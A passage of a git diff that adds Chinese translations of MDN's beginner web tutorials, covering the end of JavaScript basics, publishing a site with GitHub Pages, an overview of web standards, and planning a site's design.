事件处理器。按钮按下时运行 setUserName() 函数。这样用户就可以通过按这个按钮来自由设置新名字了: + <pre class="brush: html notranslate">myButton.onclick = function() { + setUserName(); +}</pre> + </li> +</ol> + +<p>第一次访问网页时,页面将询问用户名并发出一段个性化的信息。可随时点击按钮来改变用户名 。告诉你一个额外的福利,因为用户名是保存在 <code>localStorage</code> 里的,网页关闭后也不会丢失,所以重新打开浏览器时所设置的名字信息将依然存在:)</p> + +<h3 id="用户名为_null">用户名为 null?</h3> + +<p>运行示例代码,弹出输入用户名的对话框,试着按下 <kbd>取消</kbd> 按钮。此时标题会显示为 “Mozilla 酷毙了,null”。这是因为取消提示对话框后值将设置为 <code>null</code>,这是 JavaScript 中的一个特殊值,表示引用不存在。</p> + +<p>也可以不输入任何名字直接按 <kbd>确认</kbd>,你的标题会显示为“Mozilla 酷毙了,”,原因么显而易见。</p> + +<p>要避免这些问题,应该更新 <code>setUserName()</code> 来检查用户是否输入了 <code>null</code> 或者空名字:</p> + +<pre class="brush: js notranslate">function setUserName() { + let myName = prompt('请输入你的名字。'); + if(!myName || myName === null) { + setUserName(); + } else { + localStorage.setItem('name', myName); + myHeading.innerHTML = 'Mozilla 酷毙了,' + myName; + } +}</pre> + +<p>用人话说就是:如果 <code>myName</code> 没有值或值为 <code>null</code>,就再次从头运行<code>setUserName()</code>。如果有值(上面的表达式结果不为真),就把值存储到 <code>localStorage</code> 并且设置标题。</p> + +<h2 id="小结">小结</h2> + +<p>如果你按部就班完成本文的实践,那么最终可以得到以下页面 (可以 <a href="https://roy-tian.github.io/learning-area/extras/getting-started-web/beginner-html-site-scripted/">查看我们的版本</a>):</p> + +<p><img alt="测试页面,添加了 一个 js 脚本,可以显示用户名、更改 Firefox 图片。" src="https://mdn.mozillademos.org/files/16484/beginner-site-scripted.png" style="display: block; margin: 0px auto;"></p> + +<p>若遇到问题,可以参考 GitHub 上的 <a href="https://github.com/roy-tian/learning-area/tree/master/extras/getting-started-web/beginner-html-site-scripted">完整示例代码</a> 进行对比。</p> + +<p>本章介绍的 JavaScript 知识非常有限,更多内容请访问 <a href="/zh-CN/docs/Learn/JavaScript">Javascript 学习页面</a>。</p> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li id="Installing_basic_software"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基础软件</a></li> + <li id="What_will_your_website_look_like"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">设计网站的外观</a></li> + <li id="Dealing_with_files"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a></li> + <li id="HTML_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML 基础</a></li> + <li id="CSS_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS 基础</a></li> + <li id="JavaScript_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript 基础</a></li> + <li id="Publishing_your_website"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Publishing_your_website">发布网站</a></li> + <li id="How_the_web_works"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Web 是如何运作的</a></li> +</ul> diff --git a/files/zh-cn/learn/getting_started_with_the_web/publishing_your_website/index.html b/files/zh-cn/learn/getting_started_with_the_web/publishing_your_website/index.html new file mode 100644 index 0000000000..5f1823c2ae --- /dev/null +++ b/files/zh-cn/learn/getting_started_with_the_web/publishing_your_website/index.html @@ -0,0 +1,110 @@ +--- +title: 发布网站 +slug: Learn/Getting_started_with_the_web/Publishing_your_website +tags: + - FTP + - GitHub + - Google App Engine + - Web + - Web服务 + - 初学者 + - 发布 +translation_of: Learn/Getting_started_with_the_web/Publishing_your_website +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web/How_the_Web_works", "Learn/Getting_started_with_the_web")}}</div> + +<div class="summary"> +<p>在你已经写好了代码并且整理好了你网站的全部文件后,你需要将它们全部上线,这样别人才能看到。这篇文章将向你展示如何轻松地将你简单的示例代码传到网上。</p> +</div> + +<h2 id="有哪些方法可供选择?">有哪些方法可供选择?</h2> + +<p>发布一个网页并不是三言两语就能简单说明的,这主要是因为我们有很多种方法去完成它。在这篇文章里我们并不准备讲述所有方法,而是从初学者的视角讨论以下三种常见的方式的利弊,然后带你看看我们将要使用的一种方法。</p> + +<h3 id="获取主机服务和域名">获取主机服务和域名</h3> + +<p>如果你想要完全控制你发布的网页,那么你将需要花钱购置:</p> + +<ul> + <li>主机服务 — 在主机服务提供商的 <a href="/en-US/Learn/What_is_a_web_server">Web 服务器</a>上租用文件空间。将你网站的文件上传到这里,然后服务器会提供 Web 用户需求的内容。</li> + <li><a href="/en-US/Learn/Understanding_domain_names">域名</a>——一个可以让人们访问的独一无二的地址,比如 <code>http://www.mozilla.org</code>,或 <code>http://www.bbc.co.uk</code> 。你可以从<strong>域名注册商</strong>租借域名 。</li> +</ul> + +<p>许多专业的网站通过这种方法接入互联网。</p> + +<p>此外,你将需要一个 {{Glossary("FTP", "文件传输协议")}} 程序 ( 点击<a href="/zh-CN/docs/Learn/Common_questions/How_much_does_it_cost#软件">钻研在网络上做某些事情要花费多少:软件</a>查看详细信息 ) 来将网站文件上传到服务器。不同的 FTP 程序涵盖了不同的范围, 但是你通常需要使用主机服务提供商给你的详细信息(比如用户名、密码、主机名)登录到 Web 服务器 。然后程序在两个窗口里分别显示本地文件和服务器文件,这样你就可以在它们之间进行传输:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9469/ftp.jpg" style="display: block; height: 487px; margin: 0px auto; width: 800px;"></p> + +<h4 id="寻找主机服务和域名的建议" style="font-size: 1.28571428571429rem;">寻找主机服务和域名的建议</h4> + +<ul> + <li>我们不会推荐任何商业化的主机公司。要找到主机公司和域名注册商,只需要搜索 "网络主机服务" 和 "域名" 来找到一家出售域名的公司。 所有这种类型的公司都允许你查看你想要的域名是否可用。</li> + <li>你的家庭或办公 {{Glossary("ISP", "网络服务提供商")}} 可能会提供一些受限制的的小型主机空间。它们的能使用的功能都会受到限制,但是它们会非常适合你的第一个实验的——联系一下他们!</li> + <li>有一些免费服务比如 <a href="https://neocities.org/">Neocities</a> , <a href="https://www.blogger.com">Blogspot</a> ,和 <a href="https://wordpress.com/">Wordpress</a> 。重复一遍, 一分钱一分货,不过它们对于你的初次实验可能会是很理想的。 免费服务大部分也不需要 FTP 软件来上传文件——你只需要将文件拖入到它们网页的界面里。</li> + <li>有时公司会打包提供主机服务和域名。</li> +</ul> + +<h3 id="使用在线工具如_GitHub_或_Google_App_Engine">使用在线工具如 GitHub 或 Google App Engine</h3> + +<p>有一些工具能使你在线发布网站 :</p> + +<ul> + <li><a href="https://github.com/">GitHub</a> 是一个“社交编程”网站。它允许你<span style="line-height: 19.0909080505371px;">上传代码库并储存在</span> <a href="http://git-scm.com/">Git</a> 版本控制系统里。 然后你可以协作代码项目,系统是默认开源的,也就是说世界上任何人都可以找到你 GitHub 上的代码。去使用 GitHub,从中学习并且提高自己吧! 你也可以对别人的代码那样做! 这是一个非常重要、有用的社区,而且 Git/GitHub 是非常流行的 <a href="https://git-scm.com/book/zh/v2/%E8%B5%B7%E6%AD%A5-%E5%85%B3%E4%BA%8E%E7%89%88%E6%9C%AC%E6%8E%A7%E5%88%B6">版本控制系统</a> — 大部分科技公司在工作中使用它。 GitHub 有一个非常有用的特点叫 <a href="https://pages.github.com/">GitHub pages</a>,允许你将网站代码放在网上。</li> + <li>Google App Engine是一个让你可以在Google的基础架构上构建和运行应用的强劲平台——无论你是需要从头开始构建多级web应用还是托管一个静态网站。参阅<a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">How do you host your website on Google App Engine?</a>以获取更多信息。</li> +</ul> + +<p>不同于大部分其它托管服务,这类工具通常是免费的,不过你只能使用有限的功能。</p> + +<h3 id="使用像_Thimble_的基于_Web_的集成开发环境">使用像 Thimble 的基于 Web 的集成开发环境</h3> + +<p>有许多web应用能够仿真一个网站开发环境。你可以在这种应用——通常只有一个标签页——里输入 HTML、CSS 和 JavaScript 代码然后像显示网页一样显示代码的结果。通常这些工具都很简单,对学习很有帮助,而且至少有免费的基本功能,它们在一个独特的网址显示你提交的网页。不过,这些应用的基础功能很有限,而且应用通常不提供空间来存储图像等内容。</p> + +<p>使用一下以下几种工具,看看你最喜欢哪一个:</p> + +<ul> + <li><a href="https://jsfiddle.net/">JSFiddle</a></li> + <li><a href="https://thimble.webmaker.org/">Thimble</a></li> + <li><a href="http://jsbin.com/">JSBin</a></li> + <li><a href="https://codepen.io/">CodePen</a></li> +</ul> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9471/jsbin-screen.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></p> + +<h2 id="通过GitHub发布">通过GitHub发布</h2> + +<p>现在,让我们通过Github页面告诉你公布的你的代码是如此的简单。</p> + +<ol> + <li>首先, <a href="https://github.com/join">注册一个GitHub账号,</a> 并确认你的邮箱地址。</li> + <li>接下来,你需要创建一个新的资源库( repository )来存放你的文件。</li> + <li>在这个页面上,在<span style="line-height: 19.0909080505371px;"> </span><em>Repository name</em><span style="line-height: 19.0909080505371px;"> </span>输入框里输入 <span style="line-height: 19.0909080505371px;"> </span><em>username</em><span style="line-height: 19.0909080505371px;">.github.io,username 是你的用户名。比如,我们的朋友 bobsmith 会输入 </span><em>bobsmith.github.io。同时勾选</em> <em>Initialize this repository with a README</em> ,然后点击 <em>Create repository</em>。<img alt="" src="https://mdn.mozillademos.org/files/9479/github-create-repo.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></li> + <li>然后,将你的网站文件夹里的内容拖拽到你的资源库( repository ),再点击 <em>Commit changes</em> 。 + <div class="note"> + <p><strong>提示</strong>: 确保你的文件夹有一个 <em>index.html</em> 文件.</p> + </div> + </li> + <li> + <p>现在将你的浏览器转到 <em>username</em>.github.io 来在线查看你的网站。比如,<em>如果用户名为chrisdavidmills</em>, 请转到 <a href="http://chrisdavidmills.github.io/">chrisdavidmills.github.io</a>。</p> + + <div class="note"> + <p><strong>提示</strong>: 你的网站可能需要几分钟的时间才能投入使用。 如果它不能立即工作,你可能需要等待几分钟,然后再试一次。</p> + </div> + </li> +</ol> + +<p>想要了解更多,请看 <a href="https://help.github.com/categories/github-pages-basics/">GitHub Pages Help</a>.</p> + +<h2 id="延展阅读">延展阅读</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/Common_questions/What_is_a_web_server">什么是网络服务器?</a></li> + <li><a href="/zh-CN/docs/Learn/Common_questions/What_is_a_domain_name">什么是域名?</a></li> + <li><a href="/zh-CN/docs/Learn/Common_questions/How_much_does_it_cost">钻研在网络上做某些事情要花费多少?</a></li> + <li><a href="https://www.codecademy.com/learn/deploy-a-website">Deploy a Website</a>(英文):来自 Codeacademy 的一个很好的教程,它比本教程更进一步,并展示了一些其他技术。</li> + <li>Scott Murray 的 <a href="http://alignedleft.com/resources/cheap-web-hosting">Cheap or free static web hosting</a> (价格低廉或免费的静态 Web 主机服务)包含一些对可用的 Web 主机服务的建议。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web/How_the_Web_works", "Learn/Getting_started_with_the_web")}}</p> diff --git a/files/zh-cn/learn/getting_started_with_the_web/the_web_and_web_standards/index.html b/files/zh-cn/learn/getting_started_with_the_web/the_web_and_web_standards/index.html new file mode 100644 index 0000000000..48c2409852 --- /dev/null +++ b/files/zh-cn/learn/getting_started_with_the_web/the_web_and_web_standards/index.html @@ -0,0 +1,170 @@ +--- +title: Web 和 Web标准 +slug: Learn/Getting_started_with_the_web/The_web_and_web_standards +tags: + - Web + - Web标准 + - 初学者 + - 前端 + - 学习 +translation_of: Learn/Getting_started_with_the_web/The_web_and_web_standards +--- +<p dir="ltr">{{learnsidebar}}</p> + +<p dir="ltr">这篇文章提供了一些有用的 Web 背景知识——它是如何产生的,什么是 Web 标准技术,它们是如何协同工作的,为什么“ Web 开发人员”是一个很好的职业选择,以及您将在本课程中学习哪些最佳做法。</p> + +<h2 dir="ltr" id="Web_简史">Web 简史</h2> + +<p dir="ltr">我们会简单叙述,因为别处已有很多关于 Web 历史的详尽说明,稍后我们会链接到它们(如果那您对更多细节内容感兴趣,也请试着在您惯用的搜索引擎中搜索“ Web 的历史”以获取相关内容。)</p> + +<p dir="ltr">在20世纪60年代末期,美国军方开发了一个名为 <a href="/en-US/docs/Glossary/Arpanet">ARPANET</a> 的通信网络。这可以认为是 Web 的先驱,因为它基于 <a href="https://en.wikipedia.org/wiki/Packet_switching">分组交换( packet switching)</a> 进行工作,并且首次实现了 <a href="https://en.wikipedia.org/wiki/Internet_protocol_suite"> TCP/IP协议族(TCP/IP protocol suite)</a> 。这两种技术构成了互联网基础设施的基础。</p> + +<p dir="ltr">1980 年,Tim Berners-Lee (通常称之为 TimBL )写了一个叫 ENQUIRE 的笔记本程序,这个程序实现了不同节点之间链接的概念。听起来有点熟悉对吧?</p> + +<p dir="ltr">快进到 1989 年, TimBL 在 CERN 撰写了 <a href="https://www.w3.org/History/1989/proposal.html">《Information Management: A Proposal》</a> 和 《HyperText》 ; 这两个出版物共同为 Web 将如何工作做了铺垫。两个出版物获得了极大的关注,这足以说服TimBL的上司让他继续前进,并创建一个全球超文本系统。</p> + +<p dir="ltr">到 1990 年底,TimBL 已经创建了运行第一个版本的 Web 所需的所有东西—— <a href="/en-US/docs/Web/HTTP"> HTTP</a>,<a href="/en-US/docs/Web/HTML"> HTML </a>,名为 <a href="https://en.wikipedia.org/wiki/WorldWideWeb">WorldWideWeb</a> 的第一个 Web 浏览器,一个 HTTP 服务器和一些用于查看的网页。</p> + +<p dir="ltr">在随后的几年中,随着多个浏览器的发布,数以千计 Web 服务器的建立,上百万网页的生成, Web 爆发式发展。OK,这只是对事件非常粗略的描述,但我向您说过会简单叙述。</p> + +<p dir="ltr">最后一个值得分享的重要事件在1994年,TimBL建立了<a href="https://en.wikipedia.org/wiki/World_Wide_Web_Consortium">万维网联盟( World Wide Web Consortium ,W3C )</a>,该组织汇集了来自许多不同技术公司的代表,共同制定 Web 技术规范。随后其他的技术像<a href="/en-US/docs/Web/CSS"> CSS </a>和<a href="/en-US/docs/Web/JavaScript"> JavaScript </a>出现了, Web 开始看起来更像我们现在所了解的 Web 。</p> + +<h2 dir="ltr" id="Web_标准">Web 标准</h2> + +<p dir="ltr"><strong>Web 标准</strong>是我们用来建立 Web 网站的技术。这些标准存在于名为规范的较长的技术文档中,该文档详细说明了技术应如何工作。这些文档对于学习如何使用它们所描述的技术并不是很有用 (这就是我们建立像MDN Web Docs这样的网站的原因),而是旨在供软件工程师用来实现这些技术(通常在 Web 浏览器中)。</p> + +<p dir="ltr">例如,<a href="https://html.spec.whatwg.org/multipage/"> HTML Living Standard</a> 描述了应如何实现 HTML (所有 HTML 元素及其关联的 API 和其他相关技术)。</p> + +<p dir="ltr">Web 标准是由标准机构创建的——这些机构邀请不同技术公司的人员聚集在一起,并就如何以最佳方式实现所有用例达成共识。W3C是最著名的 Web 标准组织,但还有其他组织,例如<a href="https://whatwg.org/">WHATWG</a>(负责 HTML 语言的现代化),<a href="https://www.ecma-international.org/">ECMA</a>(发布基于 JavaScript 的ECMAScript标准),<a href="https://www.khronos.org/">Khronos</a>(发布3D图形技术,例如 Web GL)等。</p> + +<h3 dir="ltr" id="“开放”_标准">“开放” 标准</h3> + +<p dir="ltr">Web 标准的关键方面之一, TimBL 和 W3C 从一开始就认同的一点, Web (和 Web 技术)应该自由地贡献和使用,并且不受专利/许可的约束。因此,任何人都可以编写代码免费建立网站,并且任何人都可以为编写规范的标准创建过程做出贡献。</p> + +<p dir="ltr">由于 Web 技术是开放的,因此在许多不同公司之间的协作中,这意味着没有一家公司可以控制它,这确实是一件好事。 您不会希望任何一家公司突然决定将整个 Web 置于付费壁垒之后,或者发布每个人都必须购买以继续制作网站的新版 HTML ,或者更糟糕的是,仅仅将他们不再感兴趣的网站关闭。</p> + +<p dir="ltr">这一点允许 Web 保持免费可用,使其成为公共资源。</p> + +<h3 dir="ltr" id="不要破坏_Web">不要破坏 Web</h3> + +<p dir="ltr">关于开放式 Web 标准,您将听到的另一句话是“不要破坏 Web ”——这句话是说,引入的任何新 Web 技术都应向后兼容以前的版本(即旧网站仍将继续工作),并向前兼容(将未来的技术与我们目前拥有的技术兼容)。在阅读此处介绍的学习材料时,您将开始学习如何通过一些非常精妙的设计和做法来实现这一点。</p> + +<h2 id="Web_开发者是一个很好的选择">Web 开发者是一个很好的选择</h2> + +<p>如果您正在寻找工作,网络行业是一个非常有吸引力的市场。 最新公布的数据表明,目前全球大约有 1900 万网络开发人员,并且这个数字在接下来的十年中将增长两倍以上。 同时,该行业存在技能短缺的问题,那么还有什么更好的时间来学习 Web 开发呢?</p> + +<p>然而,这并不仅仅是娱乐或者游戏——建立网站比以前要复杂得多,并且您必须花一些时间来研究要用到的所有不同的技术,所有您需要了解的技巧和最佳的技术做法,以及所有需要实现的典型模式。真正起步需要花几个月的时间,然后您需要继续学习,继续练习和完善自己的技术,以使您的知识与 Web 平台上出现的所有新工具和功能步调一致。</p> + +<p><em>唯一不变的就是变化。</em></p> + +<p>这听起来很难? 不用担心——我们致力于为您提供入门所需的一切,事情将会变得更加轻松。 一旦您适应了网络的不断变化和不确定性,您将开始享受乐趣。 作为 Web 社区的一员,您将拥有整个 Web 的联系人和有用的资料来帮助您,并且您将开始享受它所带来的创造的可能性。</p> + +<p>你现在是数字创意家了。享受这种体验和谋生的可能性吧。</p> + +<h2 id="现代网络技术概述">现代网络技术概述</h2> + +<p>如果您想成为前端 Web 开发人员,可以学习多种技术。 在本节中,我们将简要描述它们。 有关其中某些功能是如何协同工作的详尽说明,请阅读我们的文章 <a href="/en-US/docs/Learn/Getting_started_with_the_web/How_the_Web_works"> Web 是如何工作的</a>。</p> + +<h3 id="浏览器">浏览器</h3> + +<p>您可能此刻正在 Web 浏览器中阅读这些文字(除非您已将其打印出来,或正在使用辅助技术,例如屏幕阅读器将其读给您听)。 Web 浏览器是人们用来浏览 Web 的软件程序,包括 <a href="https://www.mozilla.org/en-US/firefox/">Firefox</a>、<a href="https://www.google.com/chrome/">Chrome</a>、<a href="https://www.opera.com/">Opera</a>、<a href="https://www.apple.com/safari/">Safari</a> 和 <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Edge</a>.</p> + +<h3 id="HTTP">HTTP</h3> + +<p>超文本传输协议( Hypertext Transfer Protocol ,<a href="/en-US/docs/Web/HTTP/Basics_of_HTTP"> HTTP</a>),它允许 Web 浏览器与 Web 服务器(存储网站的位置)进行通信。 典型的通信就像这样</p> + +<pre class="notranslate">"你好 Web 服务器。你可以给我用于渲染 bbc.co.uk 的文件吗?" + +"当然啦 Web 浏览器 —— 给你" + +[下载文件并渲染 Web 页面]</pre> + +<p>HTTP消息(称为请求和响应)的实际语法不是人类可读的,但这个例子为您提供了基本概念。</p> + +<h3 id="HTML_CSS_和_JavaScript">HTML , CSS , 和 JavaScript</h3> + +<p><a href="/en-US/docs/Web/HTML">HTML </a>,<a href="/en-US/docs/Web/CSS"> CSS </a>,和 <a href="/en-US/docs/Web/JavaScript"> JavaScript </a> 是您用来建立网站的三种主要技术:</p> + +<ul> + <li> + <p>超文本标记语言( HTML )是一种标记语言,由可以包装(标记)内容以赋予其含义(语义)和结构的各种元素组成。简单的 HTML 看起来像这样:</p> + + <pre class="brush: html notranslate"><h1>这是一个顶级标题</h1> + +<p>这是一个文本段落</p> + +<img src="cat.jpg" alt="我家猫猫的图片"></pre> + + <p>如果我们采用房屋建筑类比的话, HTML 就像房屋的地基和墙壁一样,赋予房屋结构并将其结合在一起。</p> + </li> + <li> + <p>级联样式表( Cascading Style Sheets , CSS )是一种基于规则的语言,用于将样式应用于 HTML ,例如,设置文本和背景颜色,添加边框,设置动画效果或以某种方式布置页面。 作为一个简单的示例,以下代码会将我们的 HTML 段落变为红色:</p> + + <pre class="brush: css notranslate">p { + color: red; +}</pre> + + <p>在房屋类比中, CSS 就像用来使房屋看起来更漂亮的油漆,墙纸,地毯和油画。</p> + </li> + <li> + <p>从动态样式切换到从服务器获取更新,再到复杂的 3D 图形,<strong> JavaScript </strong> 是我们用来向网站添加交互性的编程语言。以下简单的 JavaScript 将在内存中存储对我们段落的引用,并更改其中的文本:</p> + + <pre class="brush: js notranslate">let pElem = document.querySelector('p'); +pElem.textContent = '我们改变了文本!';</pre> + + <p>在房屋类比中, JavaScript 就像炊具,电视,微波炉或吹风机,这些东西为您的房屋提供了有用的功能。</p> + </li> +</ul> + +<h3 id="开发工具">开发工具</h3> + +<p>一旦了解了可用于构建网页的“原始”技术(例如 HTML , CSS 和 JavaScript ),您很快就会发现各种可用于使工作更轻松或更有效的工具。 例如:</p> + +<ul> + <li>现代浏览器中的 <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">开发人员工具( developer tools )</a>可用于调试代码。</li> + <li>可用于运行测试以显示您的代码是否按预期运行的 <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">测试工具( Testing tools )</a>。</li> + <li>建立在 JavaScript 之上的库和框架,使您可以更快,更有效地构建某些类型的网站。</li> + <li>所谓的 “ Linters” ,它包含了一组规则,检查您的代码之后,会突出显示您未正确遵循规则的地方。</li> + <li>Minifiers ,它将代码文件中的所有空格删除以使其更小,从而可以更快地从服务器下载。</li> +</ul> + +<h3 id="服务器端语言和框架">服务器端语言和框架</h3> + +<p>HTML , CSS 和 JavaScript 是前端(或客户端)语言,这意味着它们由浏览器运行以生成用户可以使用的网站前端。</p> + +<p>还有另一类语言,称为后端(或服务器端)语言,这意味着它们先在服务器上运行,然后再将结果发送到浏览器进行显示。 服务器端语言的一种典型用法是从数据库中获取一些数据并生成一些 HTML 以包含该数据,然后再将 HTML 发送给浏览器以将其显示给用户。</p> + +<p>服务器端语言的例子包括 ASP.NET , Python , PHP 和 NodeJS 。</p> + +<h2 id="Web_最佳做法">Web 最佳做法</h2> + +<p>我们已经简要讨论了用于构建网站的技术。现在,让我们讨论应该采用的最佳做法,以确保以最佳方式使用这些技术。</p> + +<p>在进行 Web 开发时,不确定性的主要原因来自以下实际情况:您不知道每个用户将使用哪类技术条件来查看您的网站:</p> + +<ul> + <li>用户 1 可能正在带有狭窄屏幕的 iPhone 上观看它。</li> + <li>用户 2 可能正在连接了宽屏显示器的 Windows 笔记本电脑上查看它。</li> + <li>用户 3 可能是盲人,并且使用屏幕阅读器向他们朗读网页。</li> + <li>用户 4 可能正在使用无法运行现代浏览器的旧台式机。</li> +</ul> + +<p>因为您不完全知道用户将使用什么,所以您需要进行防御性设计——使您的网站尽可能灵活,以便上述所有用户都可以使用它,即使他们可能得到并不完全相同的体验。简而言之,我们正在努力使所有人都能使用 Web 。</p> + +<p>在学习的某些时候,您将遇到以下概念。</p> + +<ul> + <li><strong>跨浏览器兼容性( Cross-browser compatibility )</strong>是一种确保您的网页能够在尽可能多的设备上运行的做法。这包括使用所有浏览器都支持的技术,为可以处理这些浏览器的浏览器提供更好的体验(逐步增强),和/或编写代码,从而使之退回到较旧的浏览器中更简单但仍可用的体验(平稳降级)。它还涉及大量测试,以查看某些浏览器是否有任何故障,然后进行更多工作来修复这些故障。</li> + <li><strong>响应式网页设计( Responsive Web design )</strong>是一种使功能和布局变得灵活以便它们可以自动适应不同的浏览器的做法。一个明显的例子是在桌面上的宽屏浏览器中以一种方式进行布局,但在手机浏览器中以另一种更紧凑的单列布局的网站。现在请尝试调整浏览器窗口的宽度,然后看看会发生什么。</li> + <li><strong>性能( Performance )</strong>意味着要尽快加载网站,而且还应使其直观易用,以使用户不会碰壁离开。</li> + <li><strong>可访问性( Accessibility )</strong>意味着使您的网站可供尽可能多的不同类型的人使用(相关概念是多样性和包容性,以及包容性设计)。这包括视力障碍,听力障碍,认知障碍或肢体障碍的人。它也不仅仅局限于残疾人——也包含年轻人或老年人、来自不同文化的人、使用移动设备的人、或网络连接不可靠或缓慢的人。</li> + <li><strong>国际化( Internationalization )</strong>意味着使网站可以供来自不同文化背景的人使用,这些人会说和您不同的语言。这一点可以考虑一些技术手段(例如,更改布局以使其对于从右到左甚至垂直的语言仍然可以正常使用)和人为手段(例如,使用简单的非俚语,以便使以您的语言作为第二或第三语言的人更可能理解您的文字)。</li> + <li><strong>隐私与安全( Privacy & Security )</strong> 这两个概念相关但不同。隐私是指允许人们私下从事其业务,而不是监视他们或收集您绝对不需要的更多数据。安全性是指以安全的方式构建您的网站,以使恶意用户无法从您或您的用户那里窃取信息。</li> +</ul> + +<h2 dir="ltr" id="See_also">See also</h2> + +<ul dir="ltr"> + <li><a href="https://en.wikipedia.org/wiki/History_of_the_World_Wide_Web">History of the World Wide Web </a></li> + <li><a href="/en-US/docs/Learn/Common_questions/How_does_the_Internet_work">How does the internet work?</a></li> +</ul> diff --git a/files/zh-cn/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html b/files/zh-cn/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html new file mode 100644 index 0000000000..cc1f01a7ab --- /dev/null +++ b/files/zh-cn/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html @@ -0,0 +1,109 @@ +--- +title: 设计网站外观 +slug: Learn/Getting_started_with_the_web/What_will_your_website_look_like +tags: + - 内容 + - 初学者 + - 字体 + - 学习 + - 计划 + - 设计 + - 资源 +translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_like +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}</div> + +<div class="summary"> +<p>本节主要讨论:编写代码之前如何做好计划和设计工作。包括:“网页要提供什么信息?”、“要用什么字体和颜色?”、“网页是用来做什么的?”。</p> +</div> + +<h2 id="第一步:做出计划">第一步:做出计划</h2> + +<p>做任何事之前都需要一些想法。你的网站要达到哪种目的?任何 1 个网站均具备基本作用,但首先你应该保持简单。我们要先写出包含了标题、图像,以及数段文字的简单网页。</p> + +<p>开始之前,请考虑以下问题:</p> + +<ol> + <li><strong>网站的主题是什么</strong>?是狗、上海城市还是吃豆人?</li> + <li><strong>基于所选主题要展示哪些信息</strong>?写下标题和几段文字,构思一个用于展示的图形。</li> + <li><strong>网站采用怎样的外观</strong>?用高阶术语说就是,选什么背景色?什么字体(正式的还卡通的,粗体还是细体)?</li> +</ol> + +<div class="note"> +<p><strong>注:</strong>复杂项目需要更详细的指引,包括颜色、字体、间距、编写规范等等。亦称为设计指南、设计系统、品牌手册,参见: <a href="https://design.firefox.com/photon/">FireFox Photon Design System</a> 。</p> +</div> + +<h2 id="绘制草图">绘制草图</h2> + +<p>接下来,拿出纸笔画出网站草图。虽然第一个简单网页能做的不多,但最好在一开始就该养成这样的习惯。画草图很有用,而且并不需要梵高的手法。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9239/website-drawing-scan.png" style="display: block; height: 460px; margin: 0px auto; width: 640px;"></p> + +<div class="note"> +<p><strong>注:</strong>即使在现实的复杂网站中,设计团队也是首先在纸上画出草稿,然后在图形编辑器中或者使用 Web 技术作出数码模型。</p> + +<p>Web 团队通常包括一个图形设计师和 {{Glossary("UX", "用户体验设计师")}} 。图形设计师的作用很明显是将网页视觉部分组合在一起。用户体验设计师则以一种更抽象的模式来定义用户的浏览和交互。</p> +</div> + +<h2 id="选定内容">选定内容</h2> + +<p>此时可以开始组织网页上的内容了。</p> + +<h3 id="文本">文本</h3> + +<p>准备好刚才撰写的标题和文字。</p> + +<h3 id="主题颜色">主题颜色</h3> + +<p>打开 <a href="/zh-CN/docs/Web/CSS/CSS_Colors/Color_picker_tool">色彩选择器</a> 挑选心仪的颜色。选中某种颜色时,你会看到一个六位神秘代码,类似于 <code>#660066</code>。它是一个十六进制数,用于表示颜色。将其复制并暂存。</p> + +<p><img alt="颜色选择器" src="https://mdn.mozillademos.org/files/17380/%E9%A2%9C%E8%89%B2%E9%80%89%E6%8B%A9%E5%99%A8.png" style="height: 644px; width: 850px;"></p> + +<h3 id="图像">图像</h3> + +<p>访问 <a href="https://www.google.com/imghp?gws_rd=ssl">Google 图片搜索</a> 来搜索合适的图片。</p> + +<ol> + <li>找到心仪的图片时,单击放大。</li> + <li>右击图片(Mac 用 <kbd>Control</kbd> + 点击),选择 “另存图像为...”,然后选择一个安全的位置存放这张图像。也可以复制你的浏览器地址栏上的图像地址以便后来使用。</li> +</ol> + +<p><img alt="Google 图片搜索" src="https://mdn.mozillademos.org/files/17381/%E4%B8%8B%E8%BD%BD%E5%9B%BE%E7%89%87.png" style="height: 738px; width: 850px;"></p> + +<p>请注意大多数网络图片(包括 Google 图片)都是受版权保护的。为了降低盗版风险,可以使用“Google 许可证过滤器”。点击“工具”按钮,然后在使用权限的选项下选择类似“标记为可再利用”的选项:</p> + +<p><img alt="Google 图片搜索 版权设置" src="https://mdn.mozillademos.org/files/17382/%E5%9B%BE%E7%89%87%E8%AE%BE%E7%BD%AE.png" style="height: 468px; width: 850px;"></p> + +<h3 id="字体">字体</h3> + +<p>要选择一种字体:</p> + +<ol> + <li>访问 <a href="http://www.google.com/fonts">Google Fonts</a> 。打开右侧边栏可现实选中的字体家族。</li> + <li>可通过 Categories(类别)、Languages(语言)、Font 